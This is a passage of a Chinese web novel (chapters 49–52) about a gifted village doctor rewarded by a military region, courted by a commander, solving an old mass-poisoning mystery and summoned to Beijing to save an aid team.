他们抱着那几本铅印的书奉为圭臬,却差点因为这份自以为是的严谨,断送了十七条鲜活的生命。 而眼前这个比他们女儿还小的姑娘,却用他们听都没听过的“歪理邪说”,创造了他们无法理解的医学奇迹。 这脸,打得真疼! 秦振国看着这一幕,心里对姜芷的欣赏简直冲破了天际。 这丫头,不仅医术通神,这心胸和气度,哪里像个乡下来的小姑娘? 就是京城那些世家大族里养出来的顶尖人物,也不过如此! 他爽朗大笑,打破了现场的尴尬。 “好了好了!都别杵着了!人救回来了,这是天大的喜事!” 他转身,一把握住陆向东的胳膊,狠狠擂了一拳。 “陆向东!你这次,可是给老子带回来一尊活菩萨!” 陆向东腰杆挺得笔直,目光却不受控制地黏在姜芷身上。 “姜芷同志!”秦振国声音洪亮,中气十足。 “这次你力挽狂澜,救了十七名战士的性命,就是我们整个西南军区的大恩人!” “说吧!你想要什么奖励!只要我秦振国能办到的,绝不含糊!” 他大手一挥,豪气干云。 “是想要军区的特别编制?还是想直接进军区总院当专家顾问?又或者,在省城给你分一套带院子的小洋楼?你看上哪套,我亲自去给你办手续!” “钱,票,户口!只要你开口,都不是问题!” 这话一出,在场所有人都倒吸了一口凉气。 我的天! 第49章 高冷团长溏心蛋 姜芷迎着他秦振国期盼的目光,不紧不慢地开口。 “我想要……贵军区档案库里,所有关于西南边境地区,那些被封存的,地方志、动植物图谱、民俗异闻、以及未解迷案的旧医学档案的……最高借阅权。” “……” “…………” 全场死寂。 所有人都傻眼了。 他们设想过无数种可能,唯独没想过这个! 放着小洋楼、铁饭碗、城市户口不要,就要一堆发霉的故纸堆? 还是什么民俗异闻,未解迷案? 这姑娘的脑子,到底是什么构造? 秦振国张着嘴,半天没合上,掏了掏耳朵,严重怀疑自己出现了幻听。 “你……你要那玩意儿干啥?” “充实我的知识库。”姜芷答得理所当然,“比如这次的‘瘴苔蛊’和‘腐尸花’,若非我曾在古籍上见过类似记载,今日也无力回天。” 这番话,再次让陈建军等人汗流浃背。 人家想的是如何从根源上汲取知识,他们却还停留在如何套用公式。 格局,云泥之别! 秦振国定定地看了姜芷半晌,眼神从惊愕,慢慢转为了深沉的敬佩。 这丫头,志不在此啊! 她追求的,是医道的本源! 是他们这些凡夫俗子无法理解的高度! “好!好!好!” 秦振国连说三个好字,一拍大腿。 “我批了!何止是借阅权!我给你特批一个永久通行证!军区所有不对外开放的资料库,你,随时可以进出查阅!” 他觉得这还不够,又补充道。 “另外!我再以军区的名义,给你家乡的公社,捐赠一台拖拉机!两台抽水泵!这总行了吧!” 姜芷想了想,这次没再拒绝。 她自己可以无所谓,但能给村里带来实惠,也是好事。 “那就,替我们红星大队的乡亲们,谢谢首长了。” 事情谈妥,皆大欢喜。 秦振国还要处理后续事宜,就风风火火离开了。 其余人也都各自忙碌散开。 喧闹的院子,很快就安静了下来。 只剩下姜芷和陆向东,还有几个远远站岗的警卫。 夜风微凉,吹散了白日的燥热。 陆向东看着身边的人,只觉得怎么看都看不够。 他从兜里掏出个东西,小心翼翼地递了过去,掌心里躺着一颗大白兔奶糖。 “……给我的?” 姜芷有些意外。 这东西可是个奢侈品。 “嗯。” 陆向东耳根泛红,眼神灼热地黏在她脸上。 “你救了我的兵,就是救了我。” “你今天,辛苦了。” “奖励你的。” 他一个顶天立地的男人,此刻却用最笨拙的方式,表达着心意。 姜芷看着手心里的奶糖,又看了看他紧张的神情,心里某个地方,忽然就塌陷了一块,变得柔软。 她剥开糖纸,将奶糖放进嘴里。 一股浓郁的奶香,瞬间在舌尖化开。 好甜。 “陆团长。”她含着糖,声音有些含糊。 “嗯?”陆向东身体一僵,立刻应道。 姜芷忽然朝他走近一步,那双清亮的杏眼,在月光下,像盛满了揉碎的星光。 “你说的,想娶我,要凭真本事来追。” “我今天... “好像……看到一点你的‘本事’了。” 说完,她退后一步,眼底带着一丝狡黠的笑意,转身朝临时安排的宿舍走去。 独留陆向东一个人,僵在原地。 他感觉自己的耳朵,像是被点着了火,瞬间烧遍全身。 整个人,从里到外,都麻了。 她说……她看到他的本事了? 这是不是说明……他有机会了?! 巨大的狂喜,在他脑子里轰然炸开! 陆向东激动得攥紧了拳头,咧开嘴,笑得像个两百斤的傻子。 恨不得当场跑个十公里来庆祝! 陆向东一夜无眠。 不是失眠,是亢奋得舍不得闭眼。 脑子里反复回放着同一个画面。 姜芷凑近他时说的那句话。 “我今天,好像……看到一点你的‘本事’了。” 就像一根羽毛,在他心尖上挠了一下,又一下。 整个人都酥了,麻了,骨头缝里都往外冒着甜气。 天刚蒙蒙亮,陆向东猛地从床上坐起,双眼炯炯有神。 他哼着不成调的军歌,把军装上的每一道褶子都捋平,皮鞋擦得油光锃亮。 然后,雄赳赳跨出宿舍门。 “团……团长?” 刚出门,就撞上了睡眼惺忪的警卫员张虎。 张虎揉了揉眼,差点以为自己撞见了鬼。 他们那个脸常年跟冰坨子一样的团长,脸上居然挂着灿烂的笑? 这比母猪上树还离谱! “看什么看!还不去干活!” 陆向东瞪他一眼,可眼底那股子喜气,怎么藏都藏不住。 “去!打一盆热水!再给我煮两个鸡蛋,记住,要溏心的!” 张虎浑身一震,立正敬礼:“是!” 他拔腿就跑,跑出几步又一脸懵地刹住车,回头挠着头:“团长,热水我懂,可这溏心蛋……” 陆向东的脸“唰”地一下就红了。 “问那么多干什么!让你去就去!” “是!” 张虎这次不敢再问,撒丫子跑了。 而姜芷,是被院子里的一阵骚动惊醒的。 她推开门,就看见院中站得满满当当的人。 正是昨天被她从阎王手里抢回来的那十七个战士。 他们换了干净的病号服,脸色虽还带着病后的苍白,但一双双眼睛亮得惊人,笔挺地站着。 看到姜芷出来,“扑通!”,一声闷响。 为首的班长,双膝重重砸在地上! 他身后,哗啦啦一片,十六个铁骨铮铮的汉子,同一时刻,跪了下去! “姜医生!!” “我刘小牛,代表尖刀班十七个兄弟,给您磕头了!” “您是我们的再生父母啊!” “姜医生!” “我这条命,以后就是您的!” “还有我王小虎!以后您但凡有任何差遣,上刀山下火海,绝不皱一下眉头!” “还有我!” “俺也一样!” 姜芷的眉头瞬间蹙起。 她见过万金酬谢,听过感恩戴德,却从未见过如此阵仗。 这不是感谢,这是敬若神明。 而她,只是个医生。 就在她要开口时,一道呵斥炸响。 “都干什么呢!给我起来!” 陆向东端着脸盆和饭碗,一个箭步冲过来,脸色阴沉,挨个把人往上拽。 “你们是军人!膝盖是用来保家卫国的,不是用来跪天跪地的!都给我站起来!” 战士们被他吼得不敢再跪,可站起来后,依旧激动地围着姜芷,纷纷从兜里、怀里掏出自己的“宝贝”。 “姜医生,这是我攒了半年的津贴,您收下!” “这是俺娘给俺缝的千层底布鞋,全新的,您别嫌弃!” “我没啥值钱的,这支英雄钢笔,是我爹在我入伍时送的,它是我最宝贵的东西,给您!” 一时间,钢笔、布鞋、津贴,甚至还有人从脖子上解下一块磨得光滑的平安扣,都往姜芷面前送。 这些东西或许不值钱,但都代表了战士们最赤诚的真心。 姜芷心神微动,抬手轻轻虚按,柔声说。 “都收回去。” “对我这个医生来说,你们能好好活着,就是最好的报答。” 战士们有些迟疑,还想再劝。 陆向东沉声命令:“听姜医生的!都回去!把身体养好,回到你们的岗位上,尽忠尽职,就是对姜医生最大的回报!” 姜芷点了点头:“陆团长说得对,都回去吧。” 战士们这才一步三回头地散了。 院子彻底安静下来。 陆向东端着一只搪瓷碗,像捧着什么稀世珍宝,几步走到姜芷面前。 “咳,姜芷同志,吃早饭了。” 姜芷的目光落在那只碗里。 两个白白胖胖的鸡蛋,静静躺着。 她用筷子轻轻戳开一个,金黄色的流质蛋黄,缓缓淌了出来,散发着诱人的香气。 溏心蛋。 这个男人,竟然开始注意这种细节了。 姜芷轻笑:“陆团长,这追人的本事,都用在煮蛋上了?” 陆向东的心跳猛地漏了一拍,脸上的热度“蹭”地一下就烧到了脖子根。 他嘴唇动了动,半天才憋出一句:“你……你喜欢就行。” 第50章 一台拖拉机,全村沾光 陆向东返回来时,姜芷已经吃完早饭。 他身后跟着的张虎,手脚麻利地收拾好碗筷,临走前,眼角余光扫过陆向东那副从未见过的殷勤模样,心里咯噔一下,赶紧溜了。 屋里只剩下两个人。 姜芷用餐巾擦了擦嘴角,抬眼看他。 “有事?” “司令部传了些资料过来。” 陆向东将一叠纸放在她桌上。 “关于黑雾谷的记录。” 姜芷的目光瞬间被吸引,伸手拿了过来。 纸张最上面是官方勘测报告,她只扫了一眼就翻了过去。 直接停在了后面手写整理的“异闻录”部分。 “嘉庆三年,有猎户三人入黑雾谷,一去未返。半月后,一人归,形容疯癫,口称见‘山鬼娶亲,百鬼夜行’,三日后暴毙。” “民国二十一年,勘探队入谷,全队失踪。仅寻回一本笔记,上书:此地……有大恐怖,花能食人,雾能杀生……” 姜芷的眼睛,一点点亮了起来。 这些在旁人看来荒诞不经的鬼话,在她眼里,却是解开这片土地隐秘的钥匙。 陆向东看着她那副痴迷的神情,心里像是被蜜泡过,又泛着点酸。 他状似不经意地问:“你……准备什么时候回去?” “不急。” 姜芷的眼睛还黏在纸上,头也没抬。 “等我把军区资料库的东西都看完。” 陆向东彻底没话说了。 他算是看明白了,跟医术和这些稀奇古怪的知识比起来,他的吸引力,可能还不如一本发霉的旧书。 …… 一晃大半个月过去。 西南边境的秋意渐浓,红星大队已经有了一丝冬天的寒意。 村东头,三间崭新的青砖大瓦房平地而起。 白墙黑瓦,窗明几净,在这片土黄色的村庄里,气派得扎眼。 这是公社和大队给姜芷盖的新房,村里人人见了都要夸一句“敞亮”。 可房子的主人,却迟迟未归。 赵秀娥每天都要来新房前站上好几次,摸摸冰冷的墙砖,看看还没装上的木窗,心里空落落的。 这天,她又在门口发呆,一个腻得发酸的声音从背后响起。 “哟,秀娥,又来看你的大瓦房呢?这房子盖得是真好,就是不知道,你家那金凤凰,还记不记得飞回来住哦。” 王桂香安分了一阵子,但骨子里的坏水是憋不住的。 尤其看着赵秀娥母女的日子越过越好,她心里就像有虫子在啃,不放几句酸话就浑身难受。 赵秀娥攥紧了衣角:“小芷在部队有正事,忙完了自然就回来了。” “正事?什么正事要办这么久?” 王桂香撇着嘴,绕着赵秀娥走了一圈。 “我可听说了,这人啊,往高处走,眼界就宽了。咱们这穷乡僻壤的,人家哪里还看得上?指不定,早就在大城市里忘了你这个娘咯!” “你胡说!”赵秀娥气得脸颊涨红。 “我是不是胡说,你心里没数?” “你想想,她一个黄毛丫头,没名没分的,在部队里待那么久,传出去好听吗?” 王桂香的声音更低了,带着一种恶毒的揣测。 “别不是……在那边犯了什么事,让人给扣下了吧?” 这话,让赵秀娥心头一跳。 是啊,已经快一个月了。 小芷走的时候,说是去救人,可人救完了,怎么还不回来? 部队那种地方,规矩大,她一个女孩子家,会不会受欺负? 会不会……真的出什么事了? 看着赵秀娥瞬间煞白的脸,王桂香心里舒坦极了,继续往上浇油。 “你呀,就守着这空房子做梦吧!等人家陆团长娶了城里的高官小姐,你家小芷被人一脚踹回来,我看你这房子还住不住得安稳!” 赵秀娥气得浑身发抖,嘴唇哆嗦着,一个字也说不出来。 就在这时! “呜——呜——” 一阵汽车的轰鸣,由远及近,打破了村庄的宁静。 这声音,不是吉普车那种清脆的引擎声,而是更厚重,更震撼的动静! 村里正在田间地头干活的社员们,都纷纷直起腰,朝着村口的方向望去。 只见一列车队,卷着漫天尘土,开了过来! 打头的是一辆军用吉普,后面跟着的,竟然是两辆解放牌大卡车! 卡车上,用巨大的油布蒙着什么东西,鼓鼓囊囊的,像两座小山。 “我的天!这……这是出啥事了?咋来了这么多车?” “是来抓人的吗?” “看这架势,不像啊……” 全村人都被惊动了,纷纷扛着锄头,放下手里的活计,朝着村口聚拢。 王桂香也顾不上再挤兑赵秀娥,伸长了脖子,满脸都是看好戏的兴奋。 说不定就是姜芷在外面闯了大祸,部队派人来抄家了! 看你赵秀娥还怎么得意! 赵大山和公社的陈支书也闻讯赶来,两人看到这阵仗,心里也是一咯噔。 “同志,你们是……”赵大山迎上前,客气地询问。 吉普车上跳下来一个穿着军装的年轻干部,正是送姜芷去西南的孙磊。 孙磊看到赵大山,立刻敬了个标准的军礼。 “赵大队长,我们是西南军区派来的。奉我们司令员的命令,给红星大队送一批奖励物资!” 奖励物资? 赵大山和陈支书都愣住了,面面相觑。 “啥……啥奖励?” 孙磊笑了笑,转身大手一挥。 “把家伙都亮出来!” 后面卡车上的战士们立刻行动起来,哗啦一下,扯掉了盖在上面的油布! 轰——! 全村人的眼睛,瞬间被一抹鲜亮的红色给震住了! 只见第一辆卡车上,稳稳当当地停着一台崭新的,威风凛凛的拖拉机! 车头上,“东方红”三个镀铬大字,在阳光下闪着金光! “我的老天爷啊!” 一个老社员揉了揉眼睛,声音都在发颤。 “是……是东方红!是拖拉机!” “真的是拖拉机!!” 全村人都疯了! 这可是拖拉机啊! 他们只在县里的宣传画上见过! 有了这玩意儿,以后耕地,得省多少力气! 还没等他们从巨大的震撼中回过神来,第二辆卡车上的油布也被扯开了。 上面是两台崭新的柴油抽水泵,还有一袋袋堆得像小山一样的化肥! 这下,连陈支书的呼吸都急促了。 抽水泵!化肥! 这都是要用工业票才能换到的稀罕玩意儿! “这……这位同志……”赵大山激动得说话都结巴了,“这……这到底是怎么回事啊?” 孙磊清了清嗓子,声音洪亮地宣布: “红星大队社员,姜芷同志!因在支援我西南军区行动中,力挽狂澜,救下十七名危重战士,立下特等大功!” “经军区党委研究决定,特批奖励东方红拖拉机一台,大功率抽水泵两台,优质化肥五吨,以资鼓励!” “所有物资,全部归红星大队集体所有!” 孙磊顿了顿,目光扫过在场的每一个人,一字一句道: “这是我们秦司令特意交代的,他说,是红星大队养育了姜芷这样的英雄,这份荣誉,属于你们每一个人!” 话音落下,全场死寂。 紧接着,爆发出雷鸣般的欢呼声! “听见没!是奖励给咱们村的!” “是芷丫头!是芷丫头立了大功!!” “芷丫头是咱们村的活菩萨!!” 村民们激动得又蹦又跳,一个个眼眶通红。 赵大山愣了半天,突然仰天大笑起来,笑得眼泪都流出来了。 “好!好哇!我早就说!咱们芷丫头是金凤凰!是能干大事的人!” 他猛地一拍大腿,对着身边的民兵吼道:“还愣着干啥!去!把我藏在家的那挂鞭炮拿来!不!去供销社!买最长的那种!今天,咱们村要好好庆祝庆祝!” 人群中,王桂香的脸,一瞬间血色尽褪。 她张着嘴,呆呆地看着那台红得刺眼的拖拉机,只觉得脑子里嗡嗡作响。 立功? 奖励? 姜芷……居然……居然给村里挣回来一台拖拉机? 这怎么可能?! 她感觉自己的脸,像是被人用鞋底子,左右开弓,狠狠抽了几十个耳光,火辣辣地疼。 周围的村民们,看向她的眼神,充满了鄙夷和嘲弄。 “听见没?人家芷丫头是英雄!” “有些人哦,刚才还说人家在外面犯事了呢!这脸打得,啧啧啧!” 王桂香双腿一软,差点没站稳。 她想找个地缝钻进去,可周围全都是看笑话的眼睛。 而在人群的另一头,赵秀娥捂着嘴,泪水决堤,心彻底落了地。 她女儿,不是被人扣下了,也不是被人嫌弃了。 而是个英雄! 第51章 河神娶亲,十年旧案 红星大队的天,被一台拖拉机给彻底捅破了。 崭新的“东方红”停在打谷场中央,车身红得像一团火,晃得人睁不开眼。 全村的男女老少,地里的活儿也不干了,里三层外三层地围着,比看新媳妇进门还热切。 一个老社员哆哆嗦嗦伸出手,摸了下冰凉的铁皮,又猛地缩回来,像是被烫了一下。 “娘诶!活的!是活的拖拉机!” “你瞅瞅这大轮子!比咱家那口大水缸都粗!” “有了这铁牛,以后春耕秋收,一天能顶咱全村的牛!” 赵大山背着手,胸膛挺得老高,脸上的褶子笑成了一朵烂漫的菊花,绕着拖拉机走了一圈又一圈。 他清了清嗓子,感觉这辈子都没这么威风过。 “都听着!” 一声爆喝,全场鸦雀无声。 “这拖拉机!这两台抽水泵!这五吨化肥!是谁!给咱们大队挣回来的?” 人群里,一个半大小子扯着嗓子吼:“是芷丫头!” “对!是咱们村的芷丫头!!” 欢呼声像炸开的锅,要把天都掀翻。 赵大山满意地压了压手,目光如刀,在人群里一扫,最后狠狠钉在角落里脸色惨白的王桂香身上。 他咧开嘴,露出一口大黄牙,声音扬得半个村子都能听见。 “我今天把话撂这儿!” “这拖拉机,是芷丫头拿命换回来的功劳!” “以后,谁他娘的再敢在背后嚼舌根,说她娘俩半个‘不’字!” 他猛地一巴掌拍在拖拉机梆硬的轮胎上,发出一声沉闷的巨响。 “有一个算一个,全给我绑去开全村批斗大会!” 这话一落地,上百道目光“唰”地一下,全扎在了王桂香身上。 一个跟她向来不对付的婆娘,捂着嘴阴阳怪气地开了腔。 “哎哟,桂香家的,你刚才不是说,芷丫头在外面犯事儿,让人给扣下了吗?” “是啊是啊!”另一个立刻跟上,“咋犯的事儿,还能犯回来一台拖拉机哩?这要是多犯几次,咱村不就发大财了?” “哈哈哈哈!” 人群爆发出震天的哄笑。 一个嘴快的媳妇儿甚至直接挤到王桂香面前,夸张地问: “桂香嫂子,你说说,这天大的福气给你要不要啊?” 王桂香的脸,由白转红,由红转紫,最后成了一片死灰。 嘴唇哆嗦着,像一条离了水的鱼,一个字也吐不出来。 她的天,塌了。 就在这时,人群外围一阵骚动。 “让让!都让让!” 姜为民和他娘姜老太,被人从人堆里挤了出来。 姜老太一看见那台威风凛凛的拖拉机,一双浑浊的老眼瞬间迸发出骇人的贪婪。 她拄着拐杖,冲过去就伸出枯柴般的手去摸。 “我的!这是我们老姜家的!是我们家的!” 手还没碰到车身,就被赵大山的大手给攥住了。 “姜老太!你犯什么浑!”赵大山脸色黑如锅底,“这是大队集体财产,是芷丫头给全村人挣的,跟你老姜家有一根毛的关系?” “她是我孙女!她挣的,就是我们家的!”姜老太开始撒泼,拐杖在地上顿得梆梆响,“她吃我家的,喝我家的,她挣的东西就该孝敬我这个奶奶!” 这话让周围的村民当场就炸了。 “姜老太,你还要脸不?芷丫头娘俩吃的啥你心里没数?你把人家分出去的时候,咋不说她是你孙女?” “就是!现在看见好处了,就跑来认亲了?门儿都没有!” 姜老太被众人戳着脊梁骨骂,一口气没上来,指着赵大山,气得直翻白眼。 “你……你们……合伙欺负我一个老婆子!” 她身边的姜为民,脸色更是难看到了极点,死死盯着那台拖拉机,心里翻江倒海。 他这个当爹的,还不如一台拖拉机,能让全村人高看一眼。 西南军区。 姜芷对家乡的喧嚣一无所知。 她盘腿坐在床上,面前摊着一堆发黄的故纸堆。 这些天,她像一块海绵,疯狂地汲取着这些被尘封的知识。 地方志里的“山鬼娶亲”,在她眼中,不过是某种致幻植物引发的集体癔症。 勘探笔记里的“花能食人”,更是对“腐尸花”这类剧毒植物的生动注解。 她看得如痴如醉,浑然忘我。 陆向东端着饭盒进来时,看到的就是这样一幅景象。 他眉头拧成了一个疙瘩。 这丫头,简直是个书妖。 “吃饭了。” 他把饭盒搁在桌上。 “唔。” 姜芷头也没抬,魂还在那故纸堆里。 “司令部奖励你家乡的一台拖拉机,两台抽水泵,五吨化肥,已经送到了,你知道吗?” 他想,这天大的荣誉,总能让她有点反应吧? 谁知姜芷只是眨了眨眼,随意地回了一句。 “拖拉机?” “哦。” “挺好的,能帮乡亲们省不少力气。” 说完,她的目光,又回到了那卷泛黄的笔记上。 陆向东彻底没话了。 他发现自己严重高估了一台崭新拖拉机的魅力,也彻底低估了这丫头对那堆资料的痴迷程度。 他盯着她沉静的侧脸,纤长的睫毛投下一小片柔和的阴影。 那股子两耳不闻窗外事,一心只读圣贤书的专注劲儿,该死的迷人。陆向东心里又酸又软,叹了口气,再次将饭盒往她面前推了推,故意弄出一点声响。 “先吃饭,吃完再看,这些资料又不会长腿跑了。” 姜芷这才从一卷手写的勘探笔记里拔出神思,抬起头,看了他一眼。 那眼神里明明白白写着:你怎么还在这儿? 陆向东:“……” 行,他走。 他感觉自己再待下去,威风八面的陆团长,真要变成没人搭理的受气小媳妇了。 谁知,等姜芷慢条斯理地吃完饭,陆向东跟个幽灵似的,又飘了进来。 他手里拿了另一份用牛皮纸袋装着的文件。 “这是什么?”姜芷问。 “一个案子。”陆向东把文件袋放在她面前,声音压低了几分,带着一丝诱哄的意味。 “一个悬了十年的悬案,司令部档案室里的‘鬼卷宗’,没人能看懂。” 他就不信了。 拖拉机打动不了你,这种连军区专家都束手无策的稀奇古怪的玩意儿,总能让你从书里挪开点注意力吧? 姜芷果然被勾起了兴趣。 她放下手里的医书,解开文件袋的系绳。 里面是一些发黄的纸张,散发着陈年纸张特有的霉味。 有手写的审讯记录,有潦草的现场勘测草图,还有几张因年代久远而模糊不清的黑白照片。 卷宗的标题触目惊心:关于“清水河村集体失魂事件”的调查报告。 时间,十年前。 事情很简单,一个叫清水河的偏远山村,在一个月内,全村的青壮年,陆续出现一种怪病。 白天看着好好的,与常人无异。 可一到晚上,就跟丢了魂一样,目光呆滞,不言不语,在村里四处游荡,嘴里还念念有词,说些谁也听不懂的胡话。 当时部队派了调查组和医疗队过去,查水源,验食物,给村民做了各种西医检查,结果什么都没查出来。 最后,这件事只能以“当地特有的一种间歇性集体精神障碍”草草结案。 但卷宗的最后,附了一页单独的手写笔记,字迹扭曲潦草,看得出执笔者当时的情绪极度不稳。 “不对,不是病……是诅咒!他们都在拜那个东西……河神……河神要娶亲了……” 笔记到这里戛然而止。 姜芷一页一页翻看着,眉头越皱越紧。 陆向东就坐在她对面,观察着她的表情。 “怎么?看出什么了?”陆向东问。 “这哪是什么失魂。” 姜芷指着卷宗里的一段描述。 “‘患者夜间瞳孔放大,对光线无反应,唾液分泌增多,伴有轻微肌肉痉挛’……” “这明明是典型的莨菪碱中毒症状。” “莨菪碱?” 陆向东愣住了,这个词汇对他来说,比天书还陌生。 “一种生物碱,很多植物里都有,比如我们那常见的曼陀罗,还有颠茄。” “这玩意儿,小剂量是药,能镇痉平喘。可一旦剂量大了,就是能让人产生严重幻觉,精神错乱的烈性毒药。” 她身体微微后仰,靠在椅背上,拍了拍这份尘封十年的卷宗。 “这不是悬案,这是一起处心积虑的,大规模的集体投毒案。” 陆向东心头剧震! 十年来,无数专家学者都研究过这份卷宗,从没人提出过这个可能! “可……投毒,总得有动机吧?而且,全村人,怎么可能神不知鬼不觉地一起被下毒?” “所以,这才是这个案子有意思的地方。” 姜芷笑了。 她将那页字迹潦草的笔记推到陆向东面前。 “你看,‘他们在拜那个东西’,‘河神要娶亲了’。如果我没猜错,这个所谓的‘河神’,就是毒源。而那个主持祭拜河神的人,就是凶手。” 她的思路清晰得可怕。 逻辑链条一环扣一环,瞬间就将这起迷雾重重的悬案,剥得只剩下最核心的骨架。 陆向东看着她,忽然觉得,自己以前对她的了解,还是太浅薄了。 她不仅仅是个医术高超的医生。 她脑袋里,装着一个远超常人想象的知识宝库。 姜芷没有理会他的震惊,看向一份村民的证词上。 那是一个老婆婆的口述记录,她说,村里出事之前,从山外来了一个游方的郎中。 那郎中会一种很神奇的法术,能用清水给人“捉病”。 老婆婆说:“……那水啊,本来清亮亮的,郎中拿个小纸包往里头一弹,嘴里念念咒,在我们后心窝子上一拍,嘿!碗里的水,立马就变黑了!说是把病根都捉出来了……” 看到这里,姜芷的动作,骤然停住。 她的脸色,瞬间变得有些古怪。 清水捉病? 这套路……怎么这么耳熟? 她脑海中,闪过不久前,在红星大队那个自称“黄半仙”的骗子,还有那个被骗了二十块钱,蠢得冒泡的姜巧巧。 第52章 京城来抢人?秦司令当场掀桌! “黄石……黄半仙……” 姜芷在那个名字上轻轻划过,觉得有些好笑。 这世界,未免也太小了。 姜芷三言两语,将红星大队那个“清水捉病”的骗子,和姜巧巧被骗二十块钱的蠢事说了出来。 陆向东听完,眉心紧锁,他完全无法将眼前这两个名字联系在一起。 一个是在乡下骗吃骗喝,最后被抓去掏大粪的跳梁小丑。 一个是十年前,策划了整村人集体“失魂”惨案,至今成谜的幕后黑手。 怎么可能是同一个人? “不可能吧?”陆向东几乎是本能地反驳,“一个骗人二十块的蠢货,能有这么大的本事?策划这种……灭村的案子?” “为什么不能?” 姜芷扫了他一眼。 “骗术是皮,毒术是骨。” “对这种人来说,用明矾水和肥皂水糊弄蠢货,与用曼陀罗花粉控制人心,本质上没有区别,都是工具而已。” “唯一的区别,大概是碰上姜巧巧那种脑子,用一碗肥皂水就绰绰有余。” “而想要悄无声息地控制一个村子,就得下点真材实料了。” 陆向东被她这番话堵得胸口发闷,半天,才挤出一句:“动机呢?” “他为什么要这么做?总不能是为了好玩吧?” “当然不是为了好玩。” 姜芷的手指,在卷宗那份潦草的笔记上点了点。 “‘河神要娶亲了’。” “如果我没猜错,这个所谓的‘河神祭典’,是他们掩人耳目的幌子。” “而‘娶亲’,才是真正的目的。” “他们如果不是为了杀人,就是在用这些活人,炼制某种东西。或者,在做某种……禁忌的试验。” 陆向东心头猛地一跳! 炼制东西? 某种试验? 这个猜测,比集体投毒更加耸人听闻! 这已经超出了普通刑事案件的范畴,带着一股子邪性。 “所以,那个叫黄石的郎中,很可能不是一个人。” 姜芷的思路快得惊人。 “他背后,应该还有一个组织。一个精通各种偏门毒术,行事诡秘的,毫无人性的组织。” 这个时代,远比教科书上描写的要复杂。 很多东西,都被埋没了。 有为了理想信念抛头颅洒热血的英雄,自然也有潜藏在阴暗角落里,用各种见不得光的手段,图谋不轨的魑魅魍魉。 陆向东看着她,眼里满是震撼。 他以为自己拿来的是一个尘封的谜题,一个能让她消遣几天,顺便拖延她归期的有趣玩具。 可她只用了几句话,就直接把这桩十年悬案连根拔起,甚至连对方背后可能存在的组织性质都分析得一清二楚。 他这个身经百战的团长,在她面前,简直像个刚入伍,只懂得服从命令的新兵蛋子。 这种感觉,很挫败。 却又该死的,让人上瘾。 “咳。”陆向东清了清嗓子,假装很严肃,“这个案子既然有线索了,我会立刻向司令部汇报,申请重查。” 他顿了顿,试探着补充了一句: “到时候,可能……需要你作为专案顾问,提供技术支持。” 这话说得冠冕堂皇。 实际上,就是想找个天经地义的借口,把人多留几天。最好能把案子拖个一年半载的,到时候直接就地打结婚报告。 姜芷瞥了他一眼,没说话。 陆向东的老脸,瞬间有些发烫。 就在这气氛有些微妙的时刻—— “团长!电话!” 张虎一阵风似的冲了进来,嗓门洪亮。 陆向东刚想呵斥他没规矩,就听张虎喘着气继续喊。 “京城来的加急电话!” “找您的,姜医生!”京城? 姜芷愣住了,她在京城,一个认识的人都没有。 陆向东心里咯噔一下,一种不祥的预感油然而生。 两人对视一眼,一同起身走向通讯室。 “喂,我是姜芷。”姜芷接过电话问。 电话那头,立刻传来一个中气十足,却透着极度焦灼与疲惫的苍老声音。 “姜芷同志!我是卫生部的李文华啊!哎呀,总算是联系上你了!” 李文华?卫生部的? 姜芷的脑子里飞快地过了一遍,确定自己不认识这号人物。 “您好,请问有什么事吗?” “有事!有天大的事!” 李文华的声音又急又快。 “姜芷同志,我知道这个请求非常唐突,但现在,我们真的走投无路了!” “我们派去非洲的医疗援助队,出事了!” “半个月前,我们派去支援的五名专家,突然集体昏迷。” “高烧不退。” “身上长满了巴掌大的紫色斑块,当地医院用了所有办法,完全无效!” “昨天,我们刚刚用专机把人接回来,已经……已经有一位同志……牺牲了!” 老同志声音,无比悲痛和哽咽。 “我们请了苏联的专家紧急会诊,也查不出任何结果!就在刚才,南湖省的曹主任,他向我们提到了你!” “他说,你的医术,神乎其技!” “这个世界上,或许只有你,才有办法了!” 李文华一口气说完,电话那头是急促的喘息声。 “姜芷同志,我代表组织,代表那四个危在旦夕的同志和他们的家人,恳求你!” “请你,救救他们!” “只要你愿意出手,任何条件,我们都答应!” 陆向东站在一旁,隐隐约约听着,心已经沉到了谷底。 京城。 非洲援助队。 国际事件。 这一个个词,砸得他脑子嗡嗡作响。 他好不容易才把人留着,京城就要来抢人了? 而且一开口,就是十万火急,人命关天的国家任务! 这还有他什么事啊? 他可以带兵打仗,可以和特务搏命,可是在这种事情上,他连一句“不许去”都说不出口。 因为他比谁都清楚。 以姜芷的性格,她一定会去。 果然。 姜芷只是沉默了几秒钟,就对着话筒,吐出两个字。 “我去。” 轻描淡写的两个字。 电话那头,直接炸锅了。 “她答应了!” “姜芷同志她答应了!” “快!快去通知医疗组!病情稳住!稳住就有希望!” 李文华转回头,对着话筒郑重申明。 “姜芷同志,请您放心,我们已经协调了专机!” “京城,会以最高规格,迎接您的到来!” 电话挂断。 姜芷脸上没什么波澜,她转身,对还僵在原地的陆向东说。 “我回去收拾一下东西。” 说完,人就往外走,步子又稳又快,没有半分拖泥带水。 陆向东杵在原地,像是被抽走了魂。 他感觉自己就像个辛辛苦苦种了一辈子地的老农。 好不容易盼来一棵水灵灵、鲜嫩嫩的独苗小白菜,捧在手里怕摔了,含在嘴里怕化了。 眼看着就要长成,他连篱笆都想好了要怎么圈。 结果,京城里皇帝的御驾,直接碾过田埂,开到了他面前。 说要征用。 还是以国家和人民的名义! 这他妈上哪儿说理去? 一股滔天的憋屈和恐慌涌上心头。 陆向东猛地转身,一把抓起话筒,飞速摇通了司令部的专线。 “给我接秦司令!马上!就说十万火急!” 电话很快接通,那头传来秦振国中气十足的声音: “陆向东,什么事这么火急火燎的?天塌下来了?” 陆向东咬着后槽牙,压着火气汇报。 “司令员,我种的小白菜……不是,姜医生,要被京城那帮人挖走了!” 电话那头沉默了足足三秒。 紧接着,秦振国的咆哮声,差点把话筒给震裂! “他娘的!老子就知道!” “那帮老狐狸,手伸得也太长了!” “刚才卫生部的李文华就给老子打过电话,我还跟他打太极,让他有本事把病人送过来,没想到他们直接釜底抽薪,绕过我找到了姜芷同志本人!” “欺人太甚!” “真当我西南军区是他们家的菜园子?看见棵好苗子就想连根刨走?做他娘的春秋大梦!” 秦振国的火气,比陆向东只大不小。 听得出来,他也是憋了一肚子的邪火没处发。 陆向东立刻添了一把更旺的柴。 “司令员,他们‘任何条件’都答应。” “万一……” “万一他们给姜芷一个京城户口,再分一个独门独户的大院子,那……” 那人,还能回来吗? 这话,精准戳中了秦振国的肺管子。 